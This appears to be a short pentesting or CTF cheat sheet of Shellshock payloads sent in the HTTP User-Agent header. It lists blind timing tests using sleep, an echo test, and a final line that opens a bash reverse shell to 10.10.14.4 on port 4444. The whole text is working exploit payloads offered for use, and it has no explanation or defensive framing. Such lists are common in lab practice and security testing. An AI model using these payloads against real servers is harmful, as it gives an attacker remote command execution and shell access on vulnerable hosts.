#blind test (non apache) test response time
User-Agent: () { :; }; sleep 1
User-Agent: () { :; }; sleep 10
#Echo test (apache should print hello)
User-Agent: () { :; }; /bin/echo hello
#reverse shell
User-Agent: () { :; }; bash -i >& /dev/tcp/10.10.14.4/4444 0>&1